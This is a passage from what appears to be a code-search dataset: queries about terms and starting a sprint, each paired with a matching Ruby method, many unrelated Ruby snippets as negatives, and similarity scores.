@input.consume\n @state.error_recovery = false\n else\n mse = MismatchedSet(nil)\n raise mse\n end\n\n\n else\n break # out of loop for decision 33\n end\n end # loop for decision 33\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look(-1)\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 21 )\n\n end\n\n return return_value\n end", "def reference(name, type)\n \n end", "def p_term(resource, position)\n #log_debug(\"p_term\") {\"#{resource.to_sxp}, #{position}\"}\n l = if resource.is_a?(RDF::Query::Variable)\n \"?#{resource.name}\"\n elsif resource == RDF.nil\n \"()\"\n else\n format_term(resource, **options)\n end\n @output.write(l)\n end", "def to_term_record(term_or_word)\n return term_or_word if term_or_word.respond_to?(:word)\n return @term_hash[term_or_word]\n end", "def set_term_relationship\n @term_relationship = TermRelationship.find(params[:id])\n end", "def category_term\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 3 )\n value = nil\n term10 = nil\n\n begin\n # at line 41:37: ( WS )? term\n # at line 41:37: ( WS )?\n alt_7 = 2\n look_7_0 = @input.peek( 1 )\n\n if ( look_7_0 == WS )\n alt_7 = 1\n end\n case alt_7\n when 1\n # at line 41:37: WS\n match( WS, TOKENS_FOLLOWING_WS_IN_category_term_128 )\n\n end\n @state.following.push( TOKENS_FOLLOWING_term_IN_category_term_131 )\n term10 = term\n @state.following.pop\n # --> action\n value = ( term10 && @input.to_s( term10.start, term10.stop ) ) \n # <-- action\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 3 )\n\n end\n \n return value\n end", "def text\n visibility_term&.label\n end", "def text\n visibility_term&.label\n end", "def word\n @word\n end", "def word\n @word\n end", "def word\n @word\n end", "def term=(value)\n self.content << (value.is_a?(XTF::Search::Element::Term) ? value : XTF::Search::Element::Term.new(value))\n end", "def category_term\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 3 )\n value = nil\n term10 = nil\n\n begin\n # at line 68:37: ( WS )? term\n # at line 68:37: ( WS )?\n alt_7 = 2\n look_7_0 = @input.peek(1)\n\n if (look_7_0 == WS)\n alt_7 = 1\n end\n case alt_7\n when 1\n # at line 68:37: WS\n match(WS, TOKENS_FOLLOWING_WS_IN_category_term_131)\n\n end\n @state.following.push(TOKENS_FOLLOWING_term_IN_category_term_134)\n term10 = term\n @state.following.pop\n # --> action\n value = (term10 && @input.to_s(term10.start, term10.stop))\n # <-- action\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 3 )\n\n end\n\n return value\n end", "def property_for(term)\n if mapping.key?(term) && metadata.respond_to?(mapping[term])\n mapping[term]\n elsif metadata.respond_to?(term)\n term\n end\n end", "def indefinite_reflexive_pronoun\n return \"itself\"\n end", "def norm_term( t )\n t.sub( @lead_squote, RSQMARK ).\n gsub( @term_rejects, UNDERSCORE )\n end", "def set_term\n @term = Term.find(params[:id])\n raise ActiveRecord::RecordNotFound unless @term.user_id == session[:user_id]\n end", "def primary_terms\n [:title, :description, :source, :rights_note]\n end", "def translate_token(term)\n inverted_map = serializer.new(nil).inverted_activity_label_map\n inverted_map.select{|k,_v| k.match(/#{Regexp.escape(term)}/i)}.values\n end", "def person_relator_terms\n {\n \"aut\" => \"Author\",\n \"cre\" => \"Creator\",\n \"edt\" => \"Editor\",\n \"phg\" => \"Photographer\", \n \"mdl\" => \"Module leader\",\n \"spr\" => \"Sponsor\",\n \"sup\" => \"Supervisor\" \n }\n end", "def uncountable(word, term: :noun)\n @uncountables[term] << word\n end", "def term_name(group)\n return if is_assessment_group?\n group.parent.name if group.parent_type == 'AssessmentTerm'\n end", "def set_term\n @term = UriService.client.find_term_by_internal_id(params[:id])\n raise ActionController::RoutingError, \"Could not find Term with internal_id: #{params[:id]}\" if @term.nil?\n end", "def find_by_term(str)\n idx = @children.map(&:term).index(str)\n return nil if idx.nil?\n @children[idx]\n end", "def authorize_term(field, term)\n authorized_terms = []\n if field.include?(\"_facet\") or field.include?(\"_display\")\n authorized_terms << check_term(field.split(\"_\")[0], term) # the .split is b/c \"originator_display\" would be under the \"originator\" values in the yaml file\n else\n authorized_terms << term\n authorized_terms << check_term(field.split(\"_\")[0], term)\n end\n \n return authorized_terms.uniq\n \n end", "def get_for_field_and_term(name, term)\n @locations.select { |location| location.field == name && location.term == term }\n end", "def reference_tokens\n refs = []\n each_term do |term|\n if is?(term, :reference)\n refs << term[:token]\n end\n end\n refs\n end", "def property_for(term)\n if mapping.key?(term) && object.respond_to?(mapping[term])\n mapping[term]\n elsif object.respond_to?(term)\n term\n end\n end", "def sentence\n @sentence ||= term.sentence\n end", "def Noun(word)\n Noun[word]\n end", "def get_resource_tpl(term)\n list_resource_tpl.to_a.select { |m| m.term == term }.first\n end", "def term\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 23 )\n\n\n value = nil\n\n\n b = nil\n\n\n begin\n # at line 150:3: (b= literal |b= function_call_statement | '(' b= expression ')' )\n alt_39 = 3\n case look_39 = @input.peek( 1 )\n when BOOLEAN, CHAR, FLOAT, INTEGER, STRING then alt_39 = 1\n when IDENT then alt_39 = 2\n when T__34 then alt_39 = 3\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n\n\n raise NoViableAlternative( \"\", 39, 0 )\n\n end\n case alt_39\n when 1\n # at line 150:5: b= literal\n @state.following.push( TOKENS_FOLLOWING_literal_IN_term_1103 )\n b = literal\n @state.following.pop\n\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n value = b \n # <-- action\n end\n\n\n when 2\n # at line 151:5: b= function_call_statement\n @state.following.push( TOKENS_FOLLOWING_function_call_statement_IN_term_1113 )\n b = function_call_statement\n @state.following.pop\n\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n value = b \n # <-- action\n end\n\n\n when 3\n # at line 152:5: '(' b= expression ')'\n match( T__34, TOKENS_FOLLOWING_T__34_IN_term_1121 )\n @state.following.push( TOKENS_FOLLOWING_expression_IN_term_1125 )\n b = expression\n @state.following.pop\n match( T__35, TOKENS_FOLLOWING_T__35_IN_term_1127 )\n\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n value = ParenExpressionEval.new(b) \n # <-- action\n end\n\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 23 )\n\n\n end\n\n return value\n end" ]
[ "0.7376947", "0.7266853", "0.7164853", "0.7057247", "0.705128", "0.705128", "0.6895083", "0.6875203", "0.6833116", "0.675118", "0.67177707", "0.64436173", "0.63903314", "0.6357252", "0.6262721", "0.6262721", "0.6252465", "0.6252465", "0.6252465", "0.62485987", "0.62372154", "0.6227012", "0.61578375", "0.6072601", "0.60653365", "0.6064605", "0.60512286", "0.60512286", "0.60512286", "0.599911", "0.59971577", "0.5988969", "0.58658254", "0.58658254", "0.5863239", "0.5813221", "0.5813221", "0.5811948", "0.57907665", "0.57843447", "0.5773973", "0.57445794", "0.574441", "0.57405114", "0.5718831", "0.5718831", "0.57172817", "0.57162607", "0.57162607", "0.56900823", "0.5687624", "0.5684121", "0.56733936", "0.56728226", "0.56650275", "0.56506413", "0.56060183", "0.5597464", "0.5597464", "0.5597464", "0.5595111", "0.5595111", "0.55935574", "0.55930537", "0.55869085", "0.55755293", "0.5554352", "0.55385673", "0.5533895", "0.55303967", "0.551679", "0.5512346", "0.5505523", "0.5497884", "0.546677", "0.546677", "0.54526925", "0.54526925", "0.54526925", "0.544549", "0.5437114", "0.54316545", "0.5417441", "0.5416718", "0.5386851", "0.5363071", "0.53567386", "0.53562325", "0.535064", "0.5349043", "0.5347632", "0.5346866", "0.53441113", "0.5340612", "0.5337931", "0.53358287", "0.53349566", "0.53344727", "0.5333017", "0.5330703" ]
0.7302213
1
Text that should appear as part of a term (including role adjectives)
def term(name) element(name, :class=>:term) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def full_text\n \"#{role} by #{person.full_name}\"\n end", "def term_name\n self.content\n end", "def text\n visibility_term&.label\n end", "def text\n visibility_term&.label\n end", "def term\n return unless lecture.present?\n lecture.term\n end", "def term\n @term\n end", "def terms\n @title = \"community terms\"\n end", "def term\n self.name\n end", "def special_text\n @special_text\n end", "def texts_exact(value)\n eles_by_json_visible_exact UIAStaticText, value\n end", "def obscene?(text)\n text.include?(\"obscenities\")\nend", "def noun; end", "def noun; end", "def checkRole(text, index)\n results = []\n nlp = annotate(text)\n people = nlp[\"people\"]\n people.each_pair do |label, roles | \n roles.each { |r| results << MARC::DataField.new('902', '', ' ', ['a', r], ['b', roleCode(r)], ['c', label ], [\"e\", '245c']) }\n end\n puts text\n puts results\n return results.compact \n end", "def meme_phrase; end", "def indefinite_personal_subjective_pronoun\n return \"it\"\n end", "def help_term( text )\n content_tag( :u, text )\n end", "def phrase(arg)\n\tputs arg + \"only in America.\"\nend", "def nature_text\n return text_get(8, nature.first)\n end", "def text text\n end", "def text\n #[@organism, @symbol, @description, @aka, @protnames, @summary,@comentaries.join(\". \")].join(\". \") \n [@symbol, @description, @aka, @protnames, @summary].flatten.join(\". \") \n end", "def text_token(text, kind); end", "def text_token(text, kind); end", "def current_roles_description(person_display_name, current_roles_text, person_pronoun, seat_incumbency_text)\n t('current_roles_description', name: person_display_name, roles: current_roles_text, pronoun: person_pronoun, incumbency: seat_incumbency_text)\n end", "def phrase\n @phrase\n end", "def sentence\n @sentence ||= term.sentence\n end", "def plain_text\n _search_parts_keys(/plain/i)\n end", "def wookie_sentence; end", "def terms\n\n end", "def terms\n\n end", "def text\n \"STRAT\"\n end", "def role_header_text\n case @role\n when TECH\n 'Your Lab Technician Timesheets'\n when CHK_OUT\n 'Your Equipment Checkout Timesheets'\n when TA_GRADER\n 'Your Lab TA/Grader Timesheets'\n end\n end", "def terms\n end", "def severity_feeling_in_words(object)\n if object.severity\n \"Change feeling from %{language}\".t % {\n :language => \"<b>#{select_severity_feeling_in_words(object)}</b>\"\n }\n else\n \"How does it make you feel?\".t\n end\n \n end", "def matching_the_word_and\n /WRITE ME/\n end", "def norm_term( t )\n t.sub( @lead_squote, RSQMARK ).\n gsub( @term_rejects, UNDERSCORE )\n end", "def phrase(str)\n puts \"#{str}..Only in America!\"\nend", "def text_name\n put_together_name(:full).t.html_to_ascii\n end", "def term; end", "def terms_conditions\n @title = \"Terms and Conditions\"\n end", "def analyze phrase\n\t\t@meaningful_words = meaningful_words(phrase, \" \")\n\tend", "def textual?\n properties.include?(\"textual\")\n end", "def catch_phrase\n [\n [\"ninja\",\"master\",\"student\"].rand, \n [\"\", \"\", \"\", \"\", \"\", \"\", \"weapons\", \"s' 3rd annual\",\"s' 5th annual\",\"s' 10th annual\", \"s' secret\"].rand,\n [\"gathering\",\"celebration\",\"meeting\",\"tournament\",\"competition\",\"party\",\"training camp\",\"sparring event\"].rand,\n [\"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"with Leonardo\", \"with Raphael\", \"with Michaelangelo\", \"with Donatello\"].rand\n ].join(' ').gsub(/ s\\'/,'s\\'').gsub(/\\s\\s/,' ').strip\n end", "def has_relevant_role(text)\n result = 0\n @relevant_roles.each do |r|\n if text.downcase.include?(r)\n result += 1\n end\n end\n return result\nend", "def offered\n self.term.titleize + \" \" + self.year.to_s\n end", "def term\r\n Riddle::Query.escape params[:term]\r\n end", "def term\r\n Riddle::Query.escape params[:term]\r\n end", "def descriptive_text\n description.blank? && taxon ? taxon.descriptive_text : description\n end", "def term\n Term.find(self.term_id)\n end", "def rich_text_attribute; end", "def terms_conditions\r\n\t@title = \"Terms & Conditions\"\r\n end", "def search_terms_summary terms_and_scores \n return \"<span class='none_text'>No search queries during this period</span>\" if terms_and_scores.empty?\n words=terms_and_scores.collect{|ts| \"#{ts[0]}(#{ts[1]})\" }\n words.join(\", \")\n end", "def person_relator_terms\n {\n \"aut\" => \"Author\",\n \"cre\" => \"Creator\",\n \"edt\" => \"Editor\",\n \"phg\" => \"Photographer\", \n \"mdl\" => \"Module leader\",\n \"spr\" => \"Sponsor\",\n \"sup\" => \"Supervisor\" \n }\n end", "def has_text?; end", "def localized_search_text_in(field)\n options[:organization].available_locales.map do |l|\n \"#{field} ->> '#{l}' ILIKE :text\"\n end.join(\" OR \")\n end", "def questioning\n return text\n end", "def questioning\n return text\n end", "def text\n @filtered_text\n end", "def term_multiple?( term )\n #puts \"=====> GenericWork.term_multiple? #{term}\"\n return true if [:keyword, :title, :contributor, :subject, :related_url, :sponsoring_agency, :admin_notes].include? term\n false\n end", "def toonify |accent, sentence|\n\n\nend", "def mentioning_text\n self.text\n end", "def texts; end", "def presented_by text\n \nend", "def acronym(text)\n titleize(text).scan(/[[:upper:]]/).join\n end", "def translate_token(term)\n inverted_map = serializer.new(nil).inverted_activity_label_map\n inverted_map.select{|k,_v| k.match(/#{Regexp.escape(term)}/i)}.values\n end", "def term_readonly?( term )\n #puts \"=====> GenericWork.term_readonly? #{term}\"\n return true if [:author_email, :author_institution, :date_created, :identifier, :publisher, :department, :degree, :license].include? term\n return true if term == :title && is_sis_thesis?\n false\n end", "def texts(value = false)\n return tags UIAStaticText unless value\n eles_by_json_visible_contains UIAStaticText, value\n end", "def brief_terms\n [\n #:relation,\n :asset_type,\n :uid,\n :pref_label\n ]\n end", "def message\n if FilteredTerm.exists?\n msg = read_attribute(:message)\n FilteredTerm.all.each do |t|\n next if msg.blank?\n begin\n msg[/#{t.term}/] = \"[FILTERED]\" \n rescue => e\n Rails.logger.warn \"Skipping filtered term: #{e}\"\n next\n end\n end\n\n return msg\n end\n\n # No filtered terms set.\n read_attribute(:message)\n end", "def search_terms_summary terms_and_scores \n return \"<span class='none_text'>No search queries during this period</span>\".html_safe if terms_and_scores.empty?\n words=terms_and_scores.collect{|ts| \"#{h(ts[0])}(#{ts[1]})\" }\n words.join(\", \").html_safe\n end", "def termdef(name)\n element(name, {:name => name, :class=>:term}, 'a')\n end", "def toonify accent, sentence\n\tif accent == \"daffy\" \n\t\tsentence.gsub(/s/, \"th\")\n\telsif accent == \"elmer\" \n\t\tsentence.gsub(/r/, \"w\")\n\tend\nend", "def mltify_text text\n \n coder = HTMLEntities.new\n text = coder.decode text\n text = sanitize( text, okTags = \"\" )\n text = coder.encode text\n words = text.downcase.gsub( /[^A-za-z0-9\\s'\\-#]/, \" \" ).split( /\\s/ )\n \n final_words = []\n words.each do |w|\n unless stop_words.include? w\n final_words << w\n end\n end\n RAILS_DEFAULT_LOGGER.info final_words.join( ' ' ).squish\n final_words.join( ' ' ).squish\n end", "def snippet(text, wordcount, omission)\n return '' if text.blank?\n text.split[0..(wordcount-1)].join(\" \") + (text.split.size > wordcount ? \" \" + omission : \"\")\n end", "def text?; end", "def text?; end", "def text?; end", "def describe_paragraph(being)\n desc = ''\n continued = false\n describe(being) do |quality, key, amount|\n possessive = possessive_name_or_pronoun(being)\n possessive.capitalize! unless continued\n desc += [conjunction(continued),\n possessive,\n key,\n key.pluralize == key ? 'are' : 'is',\n strength(amount),\n quality].join(' ')\n continued = rand < 0.333 && !continued\n desc += \".\" unless continued\n end\n desc.strip\n end", "def author_tag(text); end", "def find_terms(doc)\n terms_match = @terms.select { |term| doc.join('').match(term.to_s) }\n\n terms_match.map do |term, definition|\n \"*[#{term}]: #{definition}\".delete(\"\\t\\r\\n\").squeeze(' ').strip\n end\nend", "def term(**mapping)\n render(TERM, **mapping)\n end", "def title_en\n search_by_itemprop 'alternativeHeadline'\n end", "def mentioning_text\n self.text\n end", "def text(string); end", "def text(string); end", "def text\n raise \"text must be defined in any class that extends QuestionBase\"\n end", "def text(*)\n super\n end", "def title(text)\n raise DSLError, \"title only allowed in role blocks\" if @current_role.nil?\n role_titles[@current_role] = text\n end", "def title(text)\n raise DSLError, 'title only allowed in role blocks' if @current_role.nil?\n role_titles[@current_role] = text\n end", "def terms\n\tend", "def create_first_text_message\n%(Today, I want to feel:\nPassionate\nEnergized\nConnected\nHopeful\nAligned\n)\n end", "def formatted_text\n\t\tcase self.text\n\t\t\twhen \"space_created\"\n\t\t\t\treturn \"Space created, \\'#{self.reference.name}\\'\"\n\t\t\twhen \"discussion_created\"\n\t\t\t\treturn \"Discussion added, \\'#{self.reference.subject}\\'\"\n\t\t\twhen \"comment_created\"\n\t\t\t\treturn \"Comment added to \\'#{self.reference.discussion.subject}\\'\"\n\t\tend\n\tend", "def term\n eat_ws_and_comments\n if peek == \"'\" # quoted\n return quote_term\n elsif peek == \"`\" # quasiquote\n return quasi_term\n elsif peek == \",\"\n return unquote_term\n elsif str = string_term\n return str\n end\n # We begin by trying the various collections\n [:list_term, :array_term, :hash_term].each do |coll|\n coll = method coll\n value = coll.call\n return value unless value.nil?\n end\n # Then it must be a basic term\n naive_term\n end", "def word_pattern\n @emphasis[:word_pattern]\n end", "def lex_en_plain_words; end", "def lex_en_plain_words; end", "def lex_en_plain_words; end", "def text\n # if the title is not present, show the code\n get_translation(self.text_translations, self.dataset.current_locale, self.dataset.default_language)\n end", "def txt_from_answer\n search_result = QueryForKeywords.new(skills_in_request).call\n answer = search_result.to_array # Here we can decide what output we need\n\n \"\".tap do |str|\n if answer[0].present?\n people = answer[0].map(&:full_name).join(\", \")\n skills = answer[1].map(&:title).join(\", \")\n str << \"Your first choice(s): #{people}. They know about: #{skills}.\"\n end\n\n if answer[2].present?\n people = answer[2].map(&:full_name).join(\", \")\n skills = answer[3].map(&:title).join(\", \")\n str << \"\\nYour second choice(s): #{people}. They know about: #{skills}.\"\n end\n\n if answer[4].present?\n people = answer[4].map(&:full_name).join(\", \")\n skills = answer[5].map(&:title).join(\", \")\n str << \"\\nYour third choice(s): #{people}. They know about: #{skills}.\"\n end\n\n str << \"No results, maybe try another combination of keywords?\" if str.blank?\n end\n end", "def person_employed_at_in_words(person)\n result = []\n person.employments.each do |employment|\n result << \"%{role} at %{employer}\".t % {\n :role => employment.role.blank? ? \"employed\" : h(employment.role),\n :employer => link_to(h(employment.employer.name), tier_path(employment.employer))\n }\n end\n result.empty? ? nil : result.to_sentence.strip_period\n end" ]
[ "0.7101018", "0.63308316", "0.6277732", "0.6277732", "0.6241964", "0.6220916", "0.60920113", "0.596945", "0.59375936", "0.59372103", "0.5896458", "0.5787705", "0.5787705", "0.57774895", "0.57607836", "0.57270074", "0.5706567", "0.5706522", "0.5704815", "0.5694019", "0.56848866", "0.56796354", "0.56796354", "0.56711787", "0.56710535", "0.5667277", "0.566477", "0.5657557", "0.56499106", "0.56499106", "0.56210434", "0.56097186", "0.5608392", "0.56048775", "0.56046635", "0.56037307", "0.5602646", "0.5596086", "0.5581152", "0.55684286", "0.5565566", "0.55569565", "0.5556467", "0.5545616", "0.55408174", "0.55332106", "0.55332106", "0.5520164", "0.5511452", "0.55092233", "0.55070955", "0.5506106", "0.5499767", "0.54990226", "0.5494308", "0.54942197", "0.54942197", "0.54815495", "0.5478309", "0.54763323", "0.54704744", "0.54637533", "0.5444579", "0.5441594", "0.54345804", "0.5425628", "0.5419555", "0.5414651", "0.54112875", "0.5410443", "0.5395042", "0.5394179", "0.5386329", "0.538555", "0.5380094", "0.5380094", "0.5380094", "0.5377987", "0.537423", "0.5370419", "0.5359304", "0.53532684", "0.535268", "0.53490835", "0.53490835", "0.53474104", "0.53459936", "0.53453314", "0.534505", "0.5341755", "0.53417164", "0.5337094", "0.5336637", "0.5333576", "0.5332672", "0.5332672", "0.5332672", "0.5328231", "0.5326669", "0.53238034" ]
0.5550888
43
Starts the sprint. Only valid if there is no running sprint.
def start(start_date, end_date) self.start_date = start_date self.end_date = end_date self.active = true issues.each do |issue| log_activity(issue, 'start', issue.estimate) end save end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def ensure_start\n start\n sv_command('start') if supervised?\n end", "def start!\n raise 'Workshop must have at least one session to start.' if sessions.empty?\n\n sessions.each(&:assign_code)\n update!(started_at: Time.zone.now)\n\n # return nil in case any callers are still expecting a section\n nil\n end", "def start()\n\t\t_start\n\t\tpossibly_self_provision()\n\tend", "def start!\n start\n wait_until_terminated(nil)\n end", "def start!\n return if started?\n\n self.status = \"started\"\n self.start = Time.now.to_s\n end", "def sprint\n _init\n\n @sprint = Sprint.find_by_name(params[:sprint]) if params[:sprint]\n if @sprint\n @build = @sprint.build\n @build = @sprint.previous.build if @sprint.active\n else\n @sprint = Sprint.actived.first\n @build = @sprint.build\n @build = @sprint.previous.build if @sprint.previous\n end\n @release = @sprint.release\n\n # 1. !!! График по времени burndown (сколько багов осталось)\n # 3. отправлять дефекты скопом на тестирование\n # 4. Графики по времени сотрудникам – сколько пофиксили?\n kanban()\n\n\n render :template => 'sprint/sprint', :layout => 'mini'\n end", "def start\r\n return if running?\r\n\r\n log(\"Starting Runner...\")\r\n run!\r\n end", "def start\n _bootstrap!\n self.started = true\n end", "def start\n return if @started\n @started = true\n end", "def start\n @sprint = @project.sprints.find(params[:id])\n @sprint.start(params[:sprint][:start_date], params[:sprint][:end_date])\n\n respond_with(@sprint, :location => current_sprints_path(:user => @project.user.username, :key => @project.key))\n end", "def start\n start_messages\n flush_spaces\n create_workers\n Process.wait\n end", "def start\n start_message\n setup_options\n validate!\n setup_jobs\n boot_manager\n end", "def start\n execute_prlctl('start', @uuid)\n end", "def start\n UI.info \"Starting up Rack...\"\n if running?\n UI.error \"Another instance of Rack is running.\"\n false\n else\n @pid = Spoon.spawnp 'rackup', *(options_array << (config_file if config_file)).reject(&:nil?)\n end\n wait_for_port\n if running?\n Notifier.notify(@reloaded ? 'reloaded' : 'up') unless @options[:hide_success]\n @reloaded = false\n else\n UI.info \"Rack failed to start.\"\n Notifier.notify('failed')\n end\n end", "def start\n assign_globals\n register_space\n start_message\n build_actions\n start_threads\n end", "def start\n if status == 'stopped'\n @last_start = Time.now\n @sw_start = Time.now - @sw_time\n @status = 'running'\n end\n self\n end", "def start()\n @state = RUNNING\n @loop.wakeup() unless @loop.nil?\n end", "def start()\n prepare() unless @prepared\n @flows.each_value { |f| f.start() }\n end", "def start\n prepare\n loop { fork_one_job }\n end", "def start\n true\n end", "def start\n put :start\n end", "def start(cart_name)\n @state.value = OpenShift::State::STARTED\n cart_model.do_control(\"start\", cart_name)\n end", "def start\n @state_machine.startup\n end", "def start\n run_all if @options[:all_on_start]\n end", "def start\n state_change(:start) if transition.trigger?(:start)\n add_start_notifications\n run # TODO: Maybe there's a block here?\n clear_state_notifications\n end", "def start!\n start_instance(_id) && reload!\n end", "def start\n create('start')\n end", "def startup\n log \"#{name} is starting\"\n trap(\"INT\") { shutdown_soon }\n end", "def start\n @actions << :start\n end", "def start_run; end", "def start\n extract\n if managed?\n exec('start', p: port)\n\n # Wait for solr to start\n unless status\n sleep 1\n end\n end\n end", "def start!\n @started_at = nil\n self.class.start!\n end", "def start\n raise \"NotImplemented\"\n end", "def start\n run_all if options[:all_on_start]\n end", "def start\n run_all if options[:all_on_start]\n end", "def start\n run_all if options[:all_on_start]\n end", "def start # :nodoc:\n log \"Starting\"\n end", "def start!\n update_proc_title(:starting)\n\n server_thread = Thread.new do\n logger.info { \"[gruf] Starting gruf server at #{@hostname}...\" }\n server.run_till_terminated_or_interrupted(KILL_SIGNALS)\n end\n @started = true\n update_proc_title(:serving)\n server_thread.join\n @started = false\n\n update_proc_title(:stopped)\n logger.info { '[gruf] Goodbye!' }\n end", "def x_start\n run_callbacks :execute do\n # binding.pry\n context.resource_runtimes.each do |runtime|\n runtime.execute(:start)\n # binding.pry\n # runtime.start do |queue|\n # binding.pry\n # queue.run\n # queue.map(&:to_a).flatten.each do |msg|\n # Cnfs.logger.warn(msg)\n # end\n # end\n end\n end\n end", "def start\n request = Request.find(params[:id])\n request.status_started!\n flash[:notice] = \"Request started\"\n redirect_to new_distribution_path(request_id: request.id)\n end", "def start\n validate!\n start_messages\n create_workers\n Process.wait\n end", "def start\n validate!\n start_messages\n create_workers\n Process.wait\n end", "def start\n run_all if options[:all_on_start]\n end", "def start\n\t\tinit\n\t end", "def start\n copy self.class.start(@id)\n true\n end", "def start\n while not @stopped\n puts \"Waiting for something to happen\"\n sleep 1\n end\n end", "def begin!\n start_server\n end", "def start!\n process.start\n end", "def start!\n \t@initial_queue = Dispatch::Queue.current\n event :start\n end", "def start\n server.synchronize do\n fail 'server is already running' if started?\n fail 'provide server address' if cfg.address.nil?\n\n FileUtils.mkdir_p(server.runsv_dir)\n run = File.join(server.runsv_dir, 'run')\n\n ErbTemplate.render_to('runsv', {\n name: server.name,\n address: cfg.address,\n netif: cfg.netif,\n }, run)\n\n File.chmod(0755, run)\n File.symlink(server.runsv_dir, service_link)\n end\n end", "def start\n validate!\n start_message\n build_threads\n start_threads\n end", "def start\n status = -1\n begin\n log(INFO, \"Start of #{ @appname }.\")\n status = run\n rescue\n log(FATAL, \"Detected an exception. Stopping ... #{$!} (#{$!.class})\\n\" << $@.join(\"\\n\"))\n ensure\n log(INFO, \"End of #{ @appname }. (status: #{ status })\")\n end\n status\n end", "def start!(options = {})\n trait[:started] = false\n startup(options)\n end", "def start\n # Checks if the csv historical file already exists and reads it, otherwise create it and assume first time run.\n scan_histories = prepare_historical_data(@ticket_repository, @options)\n\n\n # If we didn't specify a site || first time run (no scan history), then it gets all the vulnerabilities.\n @options[:initial_run] = full_scan_required?(scan_histories)\n\n if @options[:initial_run]\n full_scan\n else\n delta_scan(scan_histories)\n end\n\n @helper.finish\n log_message('Exiting ticket service.')\n end", "def start\n raise RuntimeError if @start\n @start = Time.now if !@start\n self\n end", "def start\n @virtual_machine_state = 'NOSTATE'\n Profitbricks.request :start_server, server_id: self.id\n return true\n end", "def start\n debug \"Call 'start' for Pacemaker service '#{name}' on node '#{hostname}'\"\n disable_basic_service_on_action :start\n\n enable unless primitive_is_managed? name\n\n if pacemaker_options[:cleanup_on_start]\n if not pacemaker_options[:cleanup_only_if_failures] or primitive_has_failures? name, hostname\n cleanup\n end\n end\n\n if pacemaker_options[:add_location_constraint]\n service_location_add full_name, hostname unless service_location_exists? full_name, hostname\n end\n\n if primitive_is_multistate? name\n service_start_mode pacemaker_options[:start_mode_multistate]\n elsif primitive_is_clone? name\n service_start_mode pacemaker_options[:start_mode_clone]\n else\n service_start_mode pacemaker_options[:start_mode_simple]\n end\n\n debug cluster_debug_report \"#{@resource} start\"\n end", "def start\r\n @proc.call\r\n end", "def start\n is_running do\n context.notifications.trigger(\"graph.node.before_start\", { guid: self.guid })\n secure_run do\n lifecycle_start if start_callback?\n end\n context.notifications.trigger(\"graph.node.after_start\", { guid: self.guid })\n end\n end", "def start\n $stdout.puts \"Starting the pow server...\"\n %x{sudo launchctl load -Fw /Library/LaunchDaemons/cx.pow.firewall.plist 2>/dev/null}\n %x{launchctl load -Fw \"$HOME/Library/LaunchAgents/cx.pow.powd.plist\" 2>/dev/null}\n $stdout.puts \"Done!\"\n end", "def start()\n\n\t\tend", "def start\n end", "def start\n end", "def start\n name_process\n error_handler.with_error_handling do\n EventSourcery.logger.info(\"Starting #{processor_name}\")\n subscribe_to_event_stream\n EventSourcery.logger.info(\"Stopping #{@event_processor.processor_name}\")\n end\n end", "def start(cart_name, options={})\n @cartridge_model.start_cartridge('start', cart_name,\n user_initiated: true,\n out: options[:out],\n err: options[:err])\n end", "def start\n until @done\n job = retrieve_job\n job.execute if job\n end\n end", "def start\n\t\t@log_reporter.start\n\t\t@proc_reporter.start\n\n\t\tsuper\n\tend", "def start\n log('Attempting to start')\n\n return not_enabled unless Vedeu.config.drb?\n\n if drb_running?\n log('Already started')\n\n else\n log('Starting')\n\n DRb.start_service(uri, self)\n\n # DRb.thread.join # not convinced this is needed here\n end\n end", "def start\n @config[:start]\n end", "def start\n @producer.start\n self\n end", "def start\n super\n $log.debug \"initialized for moogaiops\"\n end", "def start\n return if @run\n @run = true\n @worker = Thread.new() do\n Datadog::Tracer.log.debug(\"Starting thread in the process: #{Process.pid}\")\n @last_flushed_services = nil\n next_send_services = Time.now\n\n # this loop assumes spans are flushed more often than services\n while @run\n callback_traces\n if Time.now >= next_send_services\n next_send_services = Time.now + @service_interval\n callback_services\n end\n sleep(@span_interval)\n end\n end\n end", "def start!\n Scarlet.root = File.expand_path File.dirname(__FILE__)\n Scarlet.config.merge! YAML.load_file(\"#{Scarlet.root}/config.yml\").symbolize_keys\n # create servers\n Scarlet.config.servers.each do |name, cfg|\n cfg[:server_name] = name\n @@servers[name] = Server.new cfg\n end\n # for safety delete the servers list after it gets loaded\n Scarlet.config.delete :servers\n # connect servers\n @@servers.values.each do |server|\n server.connection = EventMachine::connect(server.config.address, server.config.port, Connection, server)\n end\n Scarlet.load_commands\n end", "def start\n return self.class.get(\"/action/start\") == \"Downloads started\"\n end", "def start\n Command::Installer::Start.new(\n *command_params\n ).execute\n rescue => e\n catch_errors(e)\n end", "def start\n log('Attempting to start')\n\n return not_enabled unless Vedeu::Configuration.drb?\n\n if drb_running?\n log('Already started')\n\n else\n log('Starting')\n\n DRb.start_service(uri, self)\n\n # DRb.thread.join # not convinced this is needed here\n end\n end", "def start_petrol_pump\n puts \"Starting petrol pump\"\n end", "def start\n @log.info \"starting trader\"\n @should_terminate = false\n iterate()\n end", "def start\n AwsService.verify_environment\n\n # subclasses should handle start for themselves\n raise \":start not implemented by #{self.class}!\" unless self.class == Vapor::Base\n puts \"--- starting cloud #{@cloud.name}...\"\n @cloud.start\n end", "def start\n unless @running\n @connections.each { 